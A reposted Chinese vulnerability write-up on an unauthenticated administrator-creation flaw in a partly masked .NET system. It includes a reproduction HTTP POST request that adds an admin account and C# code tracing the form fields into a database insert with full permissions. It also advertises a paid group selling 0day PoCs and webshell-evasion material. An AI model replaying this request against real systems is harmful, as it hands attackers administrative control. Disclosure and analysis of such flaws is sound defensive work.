.NET 情报 | 分析某云系统添加管理员漏洞

01阅读须知

此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他方面

02漏洞背景

图片

03漏洞复现

近日外部公开渠道爆出该系统的System**.as**接口存在敏感信息泄露漏洞,可导致攻击者添加后台管理员账户和密码。具体的数据包如下所示。

POST /System**.as** HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/top.html
Connection: close
Cookie: ASP.NET_SessionId=whnrkuaqbz0lyv1fb
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 175operator**=test&operator**=123456&operpassword=123456&operatorRole=00&visible_jh=%E8%AF%B7%E9%80%89%E6%8B%A9&visible_dorm=%E8%AF%B7%E9%80%89%E6%8B%A9&funcName=ad**

上述请求构造的POST请求,包含了新增账户和两次确认的密码,发送请求后在页面返回显示1,表示成功添加管理员账户。

04漏洞分析

存在漏洞的是一个Handler,经过分析得知代码隐藏在New**.System**类名中,首先从HTTP请求的表单数据中获取operatorName、operatorPwd、operatorRole等参数。

string operatorName = context.Request.Form["operatorName"];
string operatorPwd = context.Request.Form["operatorPwd"];
string operatorRole = context.Request.Form["operatorRole"];
string visible_jh = context.Request.Form["visible_jh"];

随后,下面代码调用了SystemMngBLL类中的addOperators方法,并传入提取的表单数据作为参数。该方法返回一个整数,该整数被转换为字符串并存储在rtnStr中。

rtnStr = SystemMngBLL.addOperators(operatorName, operatorPwd, operatorRole, visible_jh).ToString();

接着,下面业务逻辑层 (BLL) 中的方法,调用了同名的数据访问层 (DAL) 方法,实际上是一个传递操作。与数据库交互的实际工作由DAL负责。

public static int addOperators(string operatorName, string operatorPwd, string operatorRole, string visible_jh)
{return SystemMngDAL.addOperators(operatorName, operatorPwd, operatorRole, visible_jh);
}

然后,该方法构建了一个SQL命令,如果数据库中不存在相同用户名的操作员,则将其插入数据库。

public static int addOperators(string operatorName, string operatorPwd, string operatorRole, string visible_jh)
{string sqlStr = "if not exists(select * from qx where username=@username)\r\n                                insert qx(username, password, qx, memo, people_node,visible_jh) values(@username,@password, '1111111111111111111111111', '', @people_node,@visible_jh)";SqlParameter[] p = new SqlParameter[]{new SqlParameter("@username", operatorName),new SqlParameter("@password", operatorPwd),new SqlParameter("@visible_jh", visible_jh),new SqlParameter("@people_node", operatorRole)};return SqlHelper.ExecuteNonQuery(SqlHelper.dbCon, CommandType.Text, sqlStr, p);
}

插入一个新记录,包含提供的username、password、固定的qx值(可能代表权限)、空的memo、people_node(角色)和visible_jh(可见性)。

星球持续更新最新的 .NET 应用漏洞POC,并在每年HW期间提供一手漏洞情报。这些POC/EXP涵盖了一些0day和1day漏洞,确保您始终掌握最前沿的安全信息和防护措施。

图片

 05.NET安全星球

星球汇聚了各行业安全攻防技术大咖,并且每日分享.NET安全技术干货以及交流解答各类技术等问题,社区中发布很多高质量的.NET安全资源,可以说市面上很少见,都是干货。

图片

图片

图片

20+个专题栏目涵盖了点、线、面、体等知识面,助力师傅们快速成长!其中主题包括.NET Tricks、漏洞分析、内存马、代码审计、预编译、反序列化、webshell免杀、命令执行、C#工具库等等。

图片

我们倾力打造专刊、视频等配套学习资源,循序渐进的方式引导加深安全攻防技术提高以及岗位内推等等服务。

图片

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/382385.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

基于java web新生报到系统设计与实现

第1章 绪论 本章首先对建设新生报到系统的背景,传统新生报到管理所存在的问题进行分析,给出建立新生报到系统的意义,同时提出建设网站的设计思路,最后给出本论文的各章结构介绍。 1.1 引言 21世纪是富有挑战性的世纪。在世纪之…

C语言 | Leetcode C语言题解之第282题给表达式添加运算符

题目: 题解: #define MAX_COUNT 10000 // 解的个数足够大 #define NUM_COUNT 100 // 操作数的个数足够大 long long num[NUM_COUNT] {0};long long calc(char *a) { // 计算表达式a的值// 将数字和符号,入栈memset(num, 0, sizeof(num));in…

【每日刷题Day85】

【每日刷题Day85】 🥕个人主页:开敲🍉 🔥所属专栏:每日刷题🍍 🌼文章目录🌼 1. 125. 验证回文串 - 力扣(LeetCode) 2. 43. 字符串相乘 - 力扣(L…

【数据分享】2013-2022年我国省市县三级的逐月SO2数据(excel\shp格式\免费获取)

空气质量数据是在我们日常研究中经常使用的数据!之前我们给大家分享了2000——2022年的省市县三级的逐月PM2.5数据和2013-2022年的省市县三级的逐月CO数据(均可查看之前的文章获悉详情)! 本次我们分享的是我国2013——2022年的省…

大数据-38 Redis 高并发下的分布式缓存 Redis简介 缓存场景 读写模式 旁路模式 穿透模式 缓存模式 基本概念等

点一下关注吧!!!非常感谢!!持续更新!!! 目前已经更新到了: HadoopHDFSMapReduceHiveFlumeSqoopZookeeperHBaseRedis 章节内容 上一节我们完成了: HBase …

优选算法之二分查找(上)

目录 一、二分查找 1.题目链接:704. 二分查找 2.题目描述: 3.算法流程: 4.算法代码: 二、在排序数组中查找元素的第一个和最后一个位置 1.题目链接:34. 在排序数组中查找元素的第一个和最后一个位置 2.题目描述…

大语言模型-RetroMAE-检索预训练模型

一、背景信息: RetroMAE是2022年10月由北邮和华为提出的一种密集检索预训练策略。 RetroMAE主要应用于检索模型的预训练,模型架构为非对称的Encoder-Decode结构。 二、整体结构: RetroMAE的模型架构为非对称的Encoder-Decode结构。 Encod…

Linux嵌入式学习——数据结构——概念和Seqlist

数据结构 相互之间存在一种或多种特定关系的数据元素的集合。 逻辑结构 集合,所有数据在同一个集合中,关系平等。 线性,数据和数据之间是一对一的关系。数组就是线性表的一种。 树, 一对多 图,多对多 …

k8s中部署Jenkins、SonarQube、StorageClass部署流程

部署Jenkins 系统环境: • kubernetes 版本:1.23.3 • jenkins 版本:2.172 • jenkins 部署示例文件 Github 地址:https://github.com/my-dlq/blog-example/tree/master/jenkins-deploy 一、设置存储目录 在 Kubenetes 环境下…

机器学习·概率论基础

概率论 概率基础 这部分太简单,直接略过 条件概率 独立性 独立事件A和B的交集如下 非独立事件 非独立事件A和B的交集如下 贝叶斯定理 先验 事件 后验 在概率论和统计学中,先验概率和后验概率是贝叶斯统计的核心概念 简单来说后验概率就是结合了先验概…

【SpingCloud】客户端与服务端负载均衡机制,微服务负载均衡NacosLoadBalancer, 拓展:OSI七层网络模型

客户端与服务端负载均衡机制 可能有第一次听说集群和负载均衡,所以呢,我们先来做一个介绍,然后再聊服务端与客户端的负载均衡区别。 集群与负载均衡 负载均衡是基于集群的,如果没有集群,则没有负载均衡这一个说法。 …

springcolud学习05Feign

Feign Feign是一个声明式的http客户端,我们知道,在不使用Feign之前,在微服务中,一个模块如果想要调用另一个模块中的某个功能,需要向其发起请求http请求,如果不使用Feign,我们就需要通过硬编码的形式去编写构建http请求 新建模型,建立一个和consumer一样的module,不…

Python 实现PDF和TIFF图像之间的相互转换

PDF是数据文档管理领域常用格式之一,主要用于存储和共享包含文本、图像、表格、链接等的复杂文档。而TIFF(Tagged Image File Format)常见于图像处理领域,主要用于高质量的图像文件存储。 在实际应用中,我们可能有时需…

leetcode算法题之接雨水

这是一道很经典的题目,问题如下: 题目地址 给定 n 个非负整数表示每个宽度为 1 的柱子的高度图,计算按此排列的柱子,下雨之后能接多少雨水。 解法1:动态规划 动态规划的核心就是将问题拆分成若干个子问题求解&#…

TCP与UDP网络编程

网络通信协议 java.net 包中提供了两种常见的网络协议的支持: UDP:用户数据报协议(User Datagram Protocol)TCP:传输控制协议(Transmission Control Protocol) TCP协议与UDP协议 TCP协议 TCP协议进行通信的两个应用进程:客户端、服务端 …

GD32相较于STM32的优劣势

优势 1.更高的主频 GD32单片机的主频可以达到108MHz,‌而STM32的最大主频为72MHz,‌这意味着GD32在代码执行速度上具有优势,‌适合需要快速处理数据的场景 2.更低的内核电压 GD32的内核电压为1.2V,‌而STM32的内核电压为1.8V。…

【保姆级介绍服务器硬件的基础知识】

🌈个人主页: 程序员不想敲代码啊 🏆CSDN优质创作者,CSDN实力新星,CSDN博客专家 👍点赞⭐评论⭐收藏 🤝希望本文对您有所裨益,如有不足之处,欢迎在评论区提出指正,让我们共同学习、交流进步! 🦭服务器硬件基础知识 1. 🦭前言2. 🦭中央处理器(CPU)3. 🦭…

LeYOLO, New Scalable and Efficient CNN Architecture for Object Detection

LeYOLO, New Scalable and Efficient CNN Architecture for Object Detection 论文链接:http://arxiv.org/abs/2406.14239 代码链接:https://github.com/LilianHollard/LeYOLO 一、介绍 本文关注基于FLOP的高效目标检测计算的神经网络架构设计选择&am…

STM32CUBEIDE FreeRTOS操作教程(一):LED闪灯

STM32CUBEIDE FreeRTOS操作教程(一):LED闪灯 STM32CUBEIDE(不是STM32CUBEMX)开发环境集成了STM32 HAL库进行FreeRTOS配置和开发的组件,不需要用户自己进行FreeRTOS的移植。这里介绍最简化的用户操作类应用教程。以STM32F401RCT6开…

利用PyTorch进行模型量化

利用PyTorch进行模型量化 目录 利用PyTorch进行模型量化 一、模型量化概述 1.为什么需要模型量化? 2.模型量化的挑战 二、使用PyTorch进行模型量化 1.PyTorch的量化优势 2.准备工作 3.选择要量化的模型 4.量化前的准备工作 三、PyTorch的量化工具包 1.介…